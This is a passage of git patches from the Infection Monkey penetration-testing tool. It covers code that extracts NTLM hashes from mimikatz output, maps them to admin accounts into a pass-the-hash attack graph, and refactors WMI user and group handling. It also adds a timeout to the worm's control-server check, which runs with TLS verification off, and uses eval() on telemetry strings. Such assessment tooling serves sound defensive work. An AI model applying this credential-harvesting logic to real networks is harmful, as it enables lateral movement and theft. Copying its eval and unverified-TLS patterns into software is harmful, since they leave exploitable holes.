eval(group_user.get("PartComponent") - .get("Name")) - - return users - - @cache - def GetDomainControllersMonkeyGuidByDomainName(self, domain_name): - cur = mongo.db.telemetry.find( - {"telem_type": "system_info_collection", "data.Win32_ComputerSystem.Domain": "u'%s'" % (domain_name,)}) - - GUIDs = set() - - for doc in cur: - if not Machine(doc.get("monkey_guid")).IsDomainController(): - continue - - GUIDs.add(doc.get("monkey_guid")) - - return GUIDs - - def GetLocalAdmins(self): - admins = self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")) - - # debug = self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Users")) - # admins.update(debug) - - return admins - - def GetLocalAdminSids(self): - return set(self.GetLocalAdmins().keys()) - - @cache - def GetLocalSids(self): - doc = self.latest_system_info - - SIDs = set() - - for user in doc.get('data').get("Win32_UserAccount", {}): - if user.get("SIDType") != SidTypeUser: - continue - - SIDs.add(eval(user.get("SID"))) - - return SIDs - - @cache - def GetLocalAdminNames(self): - return set(self.GetLocalAdmins().values()) - - @cache - def GetSam(self): - if not self.GetMimikatzOutput(): - return {} - - mimikatz = self.GetMimikatzOutput() - - if mimikatz.count("\n42.") != 2: - return {} - - try: - sam_users = mimikatz.split("\n42.")[1].split("\nSAMKey :")[1].split("\n\n")[1:] - - sam = {} - - for sam_user_txt in sam_users: - sam_user = dict([map(unicode.strip, line.split(":")) for line in - filter(lambda l: l.count(":") == 1, sam_user_txt.splitlines())]) - - ntlm = sam_user.get("NTLM") - if "[hashed secret]" not in ntlm: - continue - - sam[sam_user.get("User")] = ntlm.replace("[hashed secret]", "").strip() - - return sam - - except: - return {} - - @cache - def GetNtds(self): - if not self.GetMimikatzOutput(): - return {} - - mimikatz = self.GetMimikatzOutput() - - if mimikatz.count("\n42.") != 2: - return {} - - ntds_users = mimikatz.split("\n42.")[2].split("\nRID :")[1:] - ntds = {} - - for ntds_user_txt in ntds_users: - user = ntds_user_txt.split("User :")[1].splitlines()[0].replace("User :", "").strip() - ntlm = ntds_user_txt.split("* Primary\n NTLM :")[1].splitlines()[0].replace("NTLM :", "").strip() - ntlm = ntlm.replace("[hashed secret]", "").strip() - - if ntlm: - ntds[user] = ntlm - - return ntds - - @cache - def GetLocalSecrets(self): - sam = self.GetSam() - ntds = self.GetNtds() - - secrets = sam.copy() - secrets.update(ntds) - - return secrets - - @cache - def GetLocalAdminSecrets(self): - return set(self.GetLocalAdminCreds().values()) - - @cache - def GetLocalAdminCreds(self): - admin_names = self.GetLocalAdminNames() - sam = self.GetLocalSecrets() - - admin_creds = dict() - - for username, secret in sam.iteritems(): - if username not in admin_names: - continue - - admin_creds[username] = secret - - return admin_creds - - @cache - def GetCachedSecrets(self): - return set(self.GetCachedCreds().values()) - - @cache - def GetCachedCreds(self): - doc = self.latest_system_info - - creds = dict() - - if not self.GetMimikatzOutput(): - return {} - - mimikatz = self.GetMimikatzOutput() - - for user in mimikatz.split("\n42.")[0].split("Authentication Id")[1:]: - username = None - secret = None - - for line in user.splitlines(): - if "User Name" in line: - username = line.split(":")[1].strip() - - if ("NTLM" in line or "Password" in line) and "[hashed secret]" in line: - secret = line.split(":")[1].replace("[hashed secret]", "").strip() - - if username and secret: - creds[username] = secret - - return creds - - @cache - def GetDomainControllers(self): - domain_name = self.GetDomainName() - DCs = self.GetDomainControllersMonkeyGuidByDomainName(domain_name) - return map(Machine, DCs) - - def GetDomainAdminsOfMachine(self): - DCs = self.GetDomainControllers() - - domain_admins = set() - - for dc in DCs: - domain_admins |= set(dc.GetUsersByGroupSid(self.GetGroupSidByGroupName("Domain Admins")).keys()) - - return domain_admins - - #@cache - def GetAdmins(self): - return self.GetLocalAdminSids() # | self.GetDomainAdminsOfMachine() - - @cache - def GetAdminNames(self): - return set(map(lambda x: self.GetUsernameBySid(x), self.GetAdmins())) - - #@cache - def GetCachedSids(self): - doc = self.latest_system_info - - SIDs = set() - - for username in doc.get('data').get("credentials", {}): - sid = self.GetSidByUsername(username) - - if not sid: - sid = "__USERNAME__" + username - - SIDs.add(sid) - - return SIDs - - @cache - def GetCachedUsernames(self): - doc = self.latest_system_info - - names = set() - - for username in doc.get('data').get("credentials", {}): - names.add(username) - - return names - - -class PassTheHashReport(object): - - def __init__(self): - self.vertices = self.GetAllMachines() - - self.machines = map(Machine, self.vertices) - self.edges = self.get_edges_by_sid() # Useful for non-cached domain users - #self.edges |= self.GetEdgesBySamHash() # This will add edges based only on password hash without caring about username - - - def GetAllMachines(self): - cur = mongo.db.telemetry.find({"telem_type": "system_info_collection"}) - - GUIDs = set() - - for doc in cur: - GUIDs.add(doc.get("monkey_guid")) - - return GUIDs - - @cache - def ReprSidList(self, sid_list, victim): - users_list = [] - - for sid in sid_list: - username = Machine(victim).GetUsernameBySid(sid) - - if username: - users_list.append(username) - - return users_list - - @cache - def ReprSecretList(self, secret_list, victim): - relevant_users_list = [] - - for secret in secret_list: - relevant_users_list.append(Machine(victim).GetUsernamesBySecret(secret)) - - return relevant_users_list - - @staticmethod - def __get_edge_label(attacker, victim): - attacker_monkey = NodeService.get_monkey_by_guid(attacker) - victim_monkey = NodeService.get_monkey_by_guid(victim) - - attacker_label = NodeService.get_monkey_label(attacker_monkey) - victim_label = NodeService.get_monkey_label(victim_monkey) - - RIGHT_ARROW = u"\u2192" - return "%s %s %s" % (attacker_label, RIGHT_ARROW, victim_label) - - - - - - def get_edges_by_sid(self): - edges_list = [] - - for attacker in self.vertices: - cached = list(self.GetCachedSids(Machine(attacker))) - - for victim in self.vertices: - if attacker == victim: - continue - - admins = list(Machine(victim).GetAdmins()) - - cached_admins = [i for i in cached if i in admins] - - if cached_admins: - relevant_users_list = self.ReprSidList(cached_admins, victim) - edges_list.append( - { - 'from': attacker, - 'to': victim, - 'users': relevant_users_list, - '_label': PassTheHashReport.__get_edge_label(attacker, victim), - 'id': str(uuid.uuid4()) - }) - - return edges_list - - @cache - def GetEdgesBySamHash(self): - edges = set() - - for attacker in self.vertices: - cached_creds = set(Machine(attacker).GetCachedCreds().items()) - - for victim in self.vertices: - if attacker == victim: - continue - - admin_creds = set(Machine(victim).GetLocalAdminCreds().items()) - - if len(cached_creds & admin_creds) > 0: - label = self.ReprSecretList(set(dict(cached_creds & admin_creds).values()), victim) - edges.add((attacker, victim, label)) - - return edges - - @cache - def GetEdgesByUsername(self): - edges = set() - - for attacker in self.vertices: - cached = Machine(attacker).GetCachedUsernames() - - for victim in self.vertices: - if attacker == victim: - continue - - admins = Machine(victim).GetAdminNames() - - if len(cached & admins) > 0: - edges.add((attacker, victim)) - - return edges - - @cache - def GetPossibleAttackCountBySid(self, sid): - return len(self.GetPossibleAttacksBySid(sid)) - - @cache - def GetPossibleAttacksByAttacker(self, attacker): - attacks = set() - - cached_creds = set(Machine(attacker).GetCachedCreds().items()) - - for victim in self.vertices: - if attacker == victim: - continue - - admin_creds = set(Machine(victim).GetLocalAdminCreds().items()) - - if len(cached_creds & admin_creds) > 0: - curr_attacks = dict(cached_creds & admin_creds) - attacks.add((attacker, victim, curr_attacks)) - - return attacks - - @cache - def GetPossibleAttacksBySid(self, sid): - attacks = set() - - for attacker in self.vertices: - tmp = self.GetPossibleAttacksByAttacker(attacker) - - for _, victim, curr_attacks in tmp: - for username, secret in curr_attacks.iteritems(): - if Machine(victim).GetSidByUsername(username) == sid: - attacks.add((attacker, victim)) - - return attacks - - @cache - def GetSecretBySid(self, sid): - for m in self.machines: - for user, user_secret in m.GetLocalSecrets().iteritems(): - if m.GetSidByUsername(user) == sid: - return user_secret - - return None - - @cache - def GetVictimCountBySid(self, sid): - return len(self.GetVictimsBySid(sid)) - - @cache - def GetVictimCountByMachine(self, attacker): - return len(self.GetVictimsByAttacker(attacker)) - - @cache - def GetAttackCountBySecret(self, secret): - return len(self.GetAttackersBySecret(secret)) - - @cache - def GetAllUsernames(self): - names = set() - - for sid in self.GetAllSids(): - names.add(self.GetUsernameBySid(sid)) - - return names - - @cache - def GetAllSids(self): - SIDs = set() - - for m in self.machines: - SIDs |= m.GetLocalSids() - - return SIDs - - @cache - def GetAllSecrets(self): - secrets = set() - - for m in self.machines: - for secret in m.GetLocalAdminSecrets(): - secrets.add(secret) - - return secrets - - @cache - def GetUsernameBySid(self, sid): - for m in self.machines: - username = m.GetUsernameBySid(sid) - - if username: - return username - - return None - - @cache - def GetSidInfo(self, sid): - for m in self.machines: - info = m.GetSidInfo(sid) - - if info: - return info - - return None - - @cache - def GetSidsBySecret(self, secret): - SIDs = set() - - for m in self.machines: - SIDs |= m.GetSidsBySecret(secret) - - return SIDs - - @cache - def GetAllDomainControllers(self): - DCs = set() - - for m in self.machines: - if m.IsDomainController(): - DCs.add(m) - - return DCs - - @cache - def GetSidsByUsername(self, username): - SIDs = set() - - for m in self.machines: - sid = m.GetSidByUsername(username) - if sid: - SIDs.add(sid) - - return SIDs - - @cache - def GetVictimsBySid(self, sid): - machines = set() - - for m in self.machines: - if sid in m.GetAdmins(): - machines.add(m) - - return machines - - @cache - def GetVictimsBySecret(self, secret): - machines = set() - - SIDs = self.GetSidsBySecret(secret) - - for m in self.machines: - if len(SIDs & m.GetAdmins()) > 0: - machines.add(m) - - return machines - - @cache - def GetAttackersBySecret(self, secret): - machines = set() - - for m in self.machines: - if secret in m.GetCachedSecrets(): - machines.add(m) - - return machines - - @cache - def GetAttackersByVictim(self, victim): - if type(victim) != unicode: - victim = victim.monkey_guid - - attackers = set() - - for edge in self.edges: - if edge.get('to', None) == victim: - attackers.add(edge.get('from', None)) - - return set(map(Machine, attackers)) - - @cache - def GetAttackersBySid(self, sid): - machines = set() - - for m in self.machines: - if sid in self.GetCachedSids(m): - machines.add(m) - - return machines - - @cache - def GetVictimsByAttacker(self, attacker): - if type(attacker) != unicode: - attacker = attacker.monkey_guid - - victims = set() - - for atck, vic, _ in self.edges: - if atck == attacker: - victims.add(vic) - - return set(map(Machine, victims)) - - @cache - def GetInPathCountByVictim(self, victim, already_processed=None): - if type(victim) != unicode: - victim = victim.monkey_guid - - if not already_processed: - already_processed = set([victim]) - - count = 0 - - for atck, vic, _ in self.edges: - if atck == vic: - continue - - if vic != victim: - continue - - if atck in already_processed: - continue - - count += 1 - - already_processed.add(atck) - count += self.GetInPathCountByVictim(atck, already_processed) - - return count - - @cache - def GetCritialServers(self): - machines = set() - - for m in self.machines: - if m.IsCriticalServer(): - machines.add(m) - - return machines - - @cache - def GetNonCritialServers(self): - return set(self.machines) - self.GetCritialServers() - - #@cache - def GetCachedSids(self, m): - sids = set() - tmp = m.GetCachedSids() - - for sid in tmp: - if sid.startswith("__USERNAME__"): - - s = self.GetSidsByUsername(sid[len("__USERNAME__"):]) - if len(s) == 1: - sids.add(s.pop()) - else: - sids.add(sid) - - else: - sids.add(sid) - - return sids - - @cache - def GetThreateningUsersByVictim(self, victim): - threatening_users = set() - - for attacker in self.GetAttackersByVictim(victim): - # For each attacker, get the cached users and check which of them is an admin on the victim - threatening_users |= (self.GetCachedSids(attacker) & victim.GetAdmins()) - - return threatening_users - - def GetSharedAdmins(self, m): - shared_admins = [] - - for other in self.machines: - if m == other: - continue - for sid in m.GetLocalAdminSids(): - if sid in other.GetLocalAdminSids(): - shared_admins.append(sid) - - #shared_admins |= (m.GetLocalAdminSids() & other.GetLocalAdminSids()) - - shared_admins = [admin for admin in shared_admins if admin not in list(m.GetDomainAdminsOfMachine())] - - return shared_admins diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 304867495..f82f1518d 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -684,7 +684,6 @@ class ReportService: config_users = ReportService.get_config_users() config_passwords = ReportService.get_config_passwords() cross_segment_issues = ReportService.get_cross_segment_issues() - pth_report = PTHReportService.get_report() report = \ { @@ -717,8 +716,8 @@ class ReportService: }, 'pth': { - 'strong_users': pth_report['report_info']['strong_users_table'], - 'map': pth_report.get('pthmap'), + 'strong_users': PTHReportService.get_strong_users_on_crit_details(), + 'map': PTHReportService.get_pth_map(), } } From a44e9a901f9528acfe2ed44b689dc9d08ac8dc80 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 17 Oct 2018 16:45:48 +0300 Subject: [PATCH 105/183] Limit monkey lookup in find_server. Prevents a situation where the Monkey attempts to connect to a server, but it's not accessible over the regular port but requires a tunnel. However the Monkey on the other side will quit before getting the tunnel request because the isolated monkey is waiting forever --- monkey/infection_monkey/control.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 7322322e7..ea7507626 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -19,6 +19,9 @@ requests.packages.urllib3.disable_warnings() LOG = logging.getLogger(__name__) DOWNLOAD_CHUNK = 1024 +# random number greater than 5, +# to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere. +TIMEOUT = 9 class ControlClient(object): @@ -72,7 +75,8 @@ class ControlClient(object): LOG.debug(debug_message) requests.get("https://%s/api?action=is-up" % (server,), verify=False, - proxies=ControlClient.proxies) + proxies=ControlClient.proxies, + timeout=TIMEOUT) WormConfiguration.current_server = current_server break From 372a08791da57bf7874b7cee58e800acb004920e Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 18 Oct 2018 15:47:12 +0300 Subject: [PATCH 106/183] Change timeout --- monkey/infection_monkey/control.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index ea7507626..98ad55671 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -21,7 +21,7 @@ LOG = logging.getLogger(__name__) DOWNLOAD_CHUNK = 1024 # random number greater than 5, # to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere. -TIMEOUT = 9 +TIMEOUT = 15 class ControlClient(object): From c208d0ebe80d32dff154637bf613faa95e95d0c3 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 18 Oct 2018 17:10:14 +0300 Subject: [PATCH 107/183] re-arranged the code and cleaned up a bit --- .../monkey_island/cc/resources/telemetry.py | 154 ++---------------- .../monkey_island/cc/services/group_info.py | 4 - monkey/monkey_island/cc/services/user_info.py | 2 + .../cc/services/wmi_info_handler.py | 148 +++++++++++++++++ 4 files changed, 162 insertions(+), 146 deletions(-) delete mode 100644 monkey/monkey_island/cc/services/group_info.py create mode 100644 monkey/monkey_island/cc/services/wmi_info_handler.py diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 644fd6984..efd5e2414 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -1,5 +1,4 @@ import json -import traceback import logging import copy from datetime import datetime @@ -10,11 +9,12 @@ from flask import request from cc.auth import jwt_required from cc.database import mongo -from cc.services import user_info, group_info +from cc.services import user_info from cc.services.config import ConfigService from cc.services.edge import EdgeService from cc.services.node import NodeService from cc.encryptor import encryptor +from cc.services.wmi_info_handler import WMIHandler __author__ = 'Barak' @@ -188,147 +188,17 @@ class Telemetry(flask_restful.Resource): if 'mimikatz' in telemetry_json['data']: users_secrets = user_info.extract_secrets_from_mimikatz(telemetry_json['data'].get('mimikatz', '')) if 'wmi' in telemetry_json['data']: - info_for_mongo = {} - users_info = telemetry_json['data']['wmi']['Win32_UserAccount'] - groups_info = telemetry_json['data']['wmi']['Win32_Group'] - group_user_dict = telemetry_json['data']['wmi']['Win32_GroupUser'] - Telemetry.add_groups_to_collection(groups_info, info_for_mongo, monkey_id) - Telemetry.add_users_to_collection(users_info, info_for_mongo, users_secrets, monkey_id) - Telemetry.create_group_user_connection(info_for_mongo, group_user_dict) - for entity in info_for_mongo.values(): - if entity['machine_id']: - # Handling for local entities. - mongo.db.groupsandusers.update({'SID': entity['SID'], - 'machine_id': entity['machine_id']}, entity, upsert=True) - else: - # Handlings for domain entities. - if not mongo.db.groupsandusers.find_one({'SID': entity['SID']}): - mongo.db.groupsandusers.insert_one(entity) - else: - # if entity is domain entity, add the monkey id of current machine to secrets_location. - # (found on this machine) - if entity.get('NTLM_secret'): - mongo.db.groupsandusers.update_one({'SID': entity['SID'], 'type': 1}, - {'$addToSet': {'secret_location': monkey_id}}) - - Telemetry.add_admin(info_for_mongo[group_info.ADMINISTRATORS_GROUP_KNOWN_SID], monkey_id) - Telemetry.update_admins_retrospective(info_for_mongo) - Telemetry.update_critical_services(telemetry_json['data']['wmi']['Win32_Service'], - telemetry_json['data']['wmi']['Win32_Product'], - monkey_id) - - @staticmethod - def update_critical_services(wmi_services, wmi_products, machine_id): - critical_names = ("W3svc", "MSExchangeServiceHost", "MSSQLServer", "dns", 'MSSQL$SQLEXPRESS', 'SQL') - - services_names_list = [str(i['Name'])[2:-1] for i in wmi_services] - products_names_list = [str(i['Name'])[2:-2] for i in wmi_products] - - for name in critical_names: - if name in services_names_list or name in products_names_list: - logger.info('found a critical service') - mongo.db.monkey.update({'_id': machine_id}, {'$addToSet': {'critical_services': name}}) - - @staticmethod - def update_admins_retrospective(info_for_mongo): - for profile in info_for_mongo: - groups_from_mongo = mongo.db.groupsandusers.find({'SID': {'$in': info_for_mongo[profile]['member_of']}}, - {'admin_on_machines': 1}) - for group in groups_from_mongo: - if group['admin_on_machines']: - mongo.db.groupsandusers.update_one({'SID': info_for_mongo[profile]['SID']}, - {'$addToSet': {'admin_on_machines': { - '$each': group['admin_on_machines']}}}) - - @staticmethod - def add_admin(group, machine_id): - for sid in group['entities_list']: - mongo.db.groupsandusers.update_one({'SID': sid}, - {'$addToSet': {'admin_on_machines': machine_id}}) - entity_details = mongo.db.groupsandusers.find_one({'SID': sid}, - {'type': 1, 'entities_list': 1}) - if entity_details.get('type') == 2: - Telemetry.add_admin(entity_details, machine_id) - - @staticmethod - def add_groups_to_collection(groups_info, info_for_mongo, monkey_id): - for group in groups_info: - if not group.get('LocalAccount'): - base_entity = Telemetry.build_entity_document(group) - else: - base_entity = Telemetry.build_entity_document(group, monkey_id) - base_entity['entities_list'] = [] - base_entity['type'] = 2 - info_for_mongo[base_entity.get('SID')] = base_entity - - @staticmethod - def add_users_to_collection(users_info, info_for_mongo, users_secrets, monkey_id): - for user in users_info: - if not user.get('LocalAccount'): - base_entity = Telemetry.build_entity_document(user) - else: - base_entity = Telemetry.build_entity_document(user, monkey_id) - base_entity['NTLM_secret'] = users_secrets.get(base_entity['name'], {}).get('ntlm') - base_entity['SAM_secret'] = users_secrets.get(base_entity['name'], {}).get('sam') - base_entity['secret_location'] = [] - - base_entity['type'] = 1 - info_for_mongo[base_entity.get('SID')] = base_entity - - @staticmethod - def build_entity_document(entity_info, monkey_id=None): - general_properties_dict = { - 'SID': str(entity_info['SID'])[4:-1], - 'name': str(entity_info['Name'])[2:-1], - 'machine_id': monkey_id, - 'member_of': [], - 'admin_on_machines': [] - } - - if monkey_id: - general_properties_dict['domain_name'] = None - else: - general_properties_dict['domain_name'] = str(entity_info['Domain'])[2:-1] - - return general_properties_dict - - @staticmethod - def create_group_user_connection(info_for_mongo, group_user_list): - for group_user_couple in group_user_list: - group_part = group_user_couple['GroupComponent'] - child_part = group_user_couple['PartComponent'] - group_sid = str(group_part['SID'])[4:-1] - groups_entities_list = info_for_mongo[group_sid]['entities_list'] - child_sid = '' - - if type(child_part) in (unicode, str): - child_part = str(child_part) - if "cimv2:Win32_UserAccount" in child_part: - # domain user - domain_name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[0] - name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[1][:-2] - - if "cimv2:Win32_Group" in child_part: - # domain group - domain_name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[0] - name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[1][:-2] - - for entity in info_for_mongo: - if info_for_mongo[entity]['name'] == name and info_for_mongo[entity]['domain'] == domain_name: - child_sid = info_for_mongo[entity]['SID'] - else: - child_sid = str(child_part['SID'])[4:-1] - - if child_sid and child_sid not in groups_entities_list: - groups_entities_list.append(child_sid) - - if child_sid: #and info_for_mongo.get(child_sid, {}).get('type') == 1: - if child_sid in info_for_mongo: - info_for_mongo[child_sid]['member_of'].append(group_sid) - - -################################################################ + wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) + wmi_handler.add_groups_to_collection() + wmi_handler.add_users_to_collection() + wmi_handler.create_group_user_connection() + wmi_handler.insert_info_to_mongo() + wmi_handler.add_admin(wmi_handler.info_for_mongo[wmi_handler.ADMINISTRATORS_GROUP_KNOWN_SID], monkey_id) + wmi_handler.update_admins_retrospective() + wmi_handler.update_critical_services(telemetry_json['data']['wmi']['Win32_Service'], + telemetry_json['data']['wmi']['Win32_Product'], + monkey_id) @staticmethod def add_ip_to_ssh_keys(ip, ssh_info): diff --git a/monkey/monkey_island/cc/services/group_info.py b/monkey/monkey_island/cc/services/group_info.py deleted file mode 100644 index 5b4008ef6..000000000 --- a/monkey/monkey_island/cc/services/group_info.py +++ /dev/null @@ -1,4 +0,0 @@ - - -ADMINISTRATORS_GROUP_KNOWN_SID = '1-5-32-544' - diff --git a/monkey/monkey_island/cc/services/user_info.py b/monkey/monkey_island/cc/services/user_info.py index 9bbdb38cb..c69a011a6 100644 --- a/monkey/monkey_island/cc/services/user_info.py +++ b/monkey/monkey_island/cc/services/user_info.py @@ -41,3 +41,5 @@ def extract_secrets_from_mimikatz(mim_string): extract_ntlm_secrets(mim_string, users_dict) return users_dict + + diff --git a/monkey/monkey_island/cc/services/wmi_info_handler.py b/monkey/monkey_island/cc/services/wmi_info_handler.py new file mode 100644 index 000000000..133f4742a --- /dev/null +++ b/monkey/monkey_island/cc/services/wmi_info_handler.py @@ -0,0 +1,148 @@ +from cc.database import mongo + + +class WMIHandler: + + ADMINISTRATORS_GROUP_KNOWN_SID = '1-5-32-544' + + def __init__(self, monkey_id, wmi_info, user_secrets): + + self.monkey_id = monkey_id + self.info_for_mongo = {} + self.users_secrets = user_secrets + self.users_info = wmi_info['Win32_UserAccount'] + self.groups_info = wmi_info['Win32_Group'] + self.groups_and_users = wmi_info['Win32_GroupUser'] + + def process_and_handle(self): + + self.add_groups_to_collection() + self.add_users_to_collection() + self.create_group_user_connection() + self.add_admin(self.info_for_mongo[self.ADMINISTRATORS_GROUP_KNOWN_SID], self.monkey_id) + self.update_admins_retrospective() + self.insert_info_to_mongo() + + def update_critical_services(self, wmi_services, wmi_products, machine_id): + critical_names = ("W3svc", "MSExchangeServiceHost", "MSSQLServer", "dns", 'MSSQL$SQLEXPRESS', 'SQL') + + services_names_list = [str(i['Name'])[2:-1] for i in wmi_services] + products_names_list = [str(i['Name'])[2:-2] for i in wmi_products] + + for name in critical_names: + if name in services_names_list or name in products_names_list: + mongo.db.monkey.update({'_id': machine_id}, {'$addToSet': {'critical_services': name}}) + + def build_entity_document(self, entity_info, monkey_id=None): + general_properties_dict = { + 'SID': str(entity_info['SID'])[4:-1], + 'name': str(entity_info['Name'])[2:-1], + 'machine_id': monkey_id, + 'member_of': [], + 'admin_on_machines': [] + } + + if monkey_id: + general_properties_dict['domain_name'] = None + else: + general_properties_dict['domain_name'] = str(entity_info['Domain'])[2:-1] + + return general_properties_dict + + def add_users_to_collection(self): + for user in self.users_info: + if not user.get('LocalAccount'): + base_entity = self.build_entity_document(user) + else: + base_entity = self.build_entity_document(user, self.monkey_id) + base_entity['NTLM_secret'] = self.users_secrets.get(base_entity['name'], {}).get('ntlm') + base_entity['SAM_secret'] = self.users_secrets.get(base_entity['name'], {}).get('sam') + base_entity['secret_location'] = [] + + base_entity['type'] = 1 + self.info_for_mongo[base_entity.get('SID')] = base_entity + + def add_groups_to_collection(self): + for group in self.groups_info: + if not group.get('LocalAccount'): + base_entity = self.build_entity_document(group) + else: + base_entity = self.build_entity_document(group, self.monkey_id) + base_entity['entities_list'] = [] + base_entity['type'] = 2 + self.info_for_mongo[base_entity.get('SID')] = base_entity + + def create_group_user_connection(self): + for group_user_couple in self.groups_and_users: + group_part = group_user_couple['GroupComponent'] + child_part = group_user_couple['PartComponent'] + group_sid = str(group_part['SID'])[4:-1] + groups_entities_list = self.info_for_mongo[group_sid]['entities_list'] + child_sid = '' + + if type(child_part) in (unicode, str): + child_part = str(child_part) + name = None + domain_name = None + if "cimv2:Win32_UserAccount" in child_part: + # domain user + domain_name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[0] + name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[1][:-2] + + if "cimv2:Win32_Group" in child_part: + # domain group + domain_name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[0] + name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[1][:-2] + + for entity in self.info_for_mongo: + if self.info_for_mongo[entity]['name'] == name and \ + self.info_for_mongo[entity]['domain'] == domain_name: + child_sid = self.info_for_mongo[entity]['SID'] + else: + child_sid = str(child_part['SID'])[4:-1] + + if child_sid and child_sid not in groups_entities_list: + groups_entities_list.append(child_sid) + + if child_sid: + if child_sid in self.info_for_mongo: + self.info_for_mongo[child_sid]['member_of'].append(group_sid) + + def insert_info_to_mongo(self): + for entity in self.info_for_mongo.values(): + if entity['machine_id']: + # Handling for local entities. + mongo.db.groupsandusers.update({'SID': entity['SID'], + 'machine_id': entity['machine_id']}, entity, upsert=True) + else: + # Handlings for domain entities. + if not mongo.db.groupsandusers.find_one({'SID': entity['SID']}): + mongo.db.groupsandusers.insert_one(entity) + else: + # if entity is domain entity, add the monkey id of current machine to secrets_location. + # (found on this machine) + if entity.get('NTLM_secret'): + mongo.db.groupsandusers.update_one({'SID': entity['SID'], 'type': 1}, + {'$addToSet': {'secret_location': self.monkey_id}}) + + def update_admins_retrospective(self): + for profile in self.info_for_mongo: + groups_from_mongo = mongo.db.groupsandusers.find({ + 'SID': {'$in': self.info_for_mongo[profile]['member_of']}}, + {'admin_on_machines': 1}) + + for group in groups_from_mongo: + if group['admin_on_machines']: + mongo.db.groupsandusers.update_one({'SID': self.info_for_mongo[profile]['SID']}, + {'$addToSet': {'admin_on_machines': { + '$each': group['admin_on_machines']}}}) + + def add_admin(self, group, machine_id): + for sid in group['entities_list']: + mongo.db.groupsandusers.update_one({'SID': sid}, + {'$addToSet': {'admin_on_machines': machine_id}}) + entity_details = mongo.db.groupsandusers.find_one({'SID': sid}, + {'type': 1, 'entities_list': 1}) + if entity_details.get('type') == 2: + self.add_admin(entity_details, machine_id) + From 029c278a82ccd4013b883e8649766b7330cb35e7 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 18 Oct 2018 18:34:34 +0300 Subject: [PATCH 108/183] added png assets for the report --- .../cc/ui/src/images/nodes/pth/critical.png | Bin 0 -> 20067 bytes .../cc/ui/src/images/nodes/pth/normal.png | Bin 0 -> 19466 bytes 2 files changed, 0 insertions(+), 0 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/images/nodes/pth/critical.png create mode 100644 monkey/monkey_island/cc/ui/src/images/nodes/pth/normal.png diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/pth/critical.png b/monkey/monkey_island/cc/ui/src/images/nodes/pth/critical.png new file mode 100644 index 0000000000000000000000000000000000000000..0348a7f5d312b0400da47f60a5f2d81682bd19a6 GIT binary patch literal 20067 zcmeHPYgm)Vww?eQs5P;&1Zq((7T8IMjpu7F01~l;o8)@Pde9S z2nU*cP0PB>11sqtJ_&y2%P^!bOz8@7XeY`+J*1he8-ri>8w22_IR5QYc!}rFmcR?` z*hnG4tN9Ae170UKvAp2Lyw3H8SL&xkL&7+O=Md5He@Gp*=M8F}rQt!#L|~+_NsJb= zUs$ZpcyS-6YLIiABY1HjDOXV8$kU5lz+mF@0VNN$+0X21$_)Ov#*TGk)bXas7rM(6 z<-LnQZmhbK9v`Mma6LBd-f@xUKeOggS-;1o~IhPc5-(EBXLDC@foNoL9$aY{`9RA~!3 zKGUVH48B>=0ky7nKG40ON|Po>GMBMVj9KNt#_5~;K8UIcWIZb*eEkzxLowIxbLQT3 zwa8XcK=6KhVv4It9}BV#AX8_9+4{f4;AOn#D<$lX(?@HmX$f7$AxYJ?hgGe(8~rm~ zol=_QIObFE1I@5sCrGbwJj*J43uJ+xvm|}`$_vg+AE;ZnQ5_LTTdA7uRk;J>w~D_KlpVJwCeBmW;)Yb+@66cAGu#{?b{J z%VqgbI+?hjp`Obdqf6Zo{ORWP@SC@q5*W6ZTi&~+RM4r~{|We(IN}ZExfb&*{snHi zwz9}6#JWlPvsUwF=u+!40t7TN_HIQz_sv*J?42b)jKGbiGK)gXXk~l%tR98;F%hYu zTjN>rZ;U!VVI2HCs7bzE&Mkj?!aH+jz)#w(Tf5VAsUHS!-y8!!nP2AlbT)SEkGpr{ z6#Pu}BKzL`ws!orZ$4k_9xEmA>)Ddo9|t`A68uc@25mLbF=6We-nmYSOi8vn`G9n& z2_oWK?FVP92YX&9v&7bpR~~r4WtQ81)VrQc`{?jlsiDBBcJ(OR8Fyn(UbneKmatnY z?ti@Z=vR6BaJ9MQBXeH);jgKohoJN~UGh(LuUz>pO5kBAt)#8~`BgNmti81iO4kq|6z()6bLpT z+`#>3R$@^g*nn6Rh(%%eKV1kmAlQIl1A+|*HhB5}s>DfwI4KY(1>&SI{6P!B1_T=r zY(TI9!3O{SN{=`&5(h@&!1(|A!00lo2W6rcTKHJkxItTSI;TYQ7Z&l2F7Z_|@f|kt zLdtEqjT1Vy?d|!sH+y{edRBZ!LX@Z;GK9oa2L`9(yp&lJ=Fgc0O~V4o 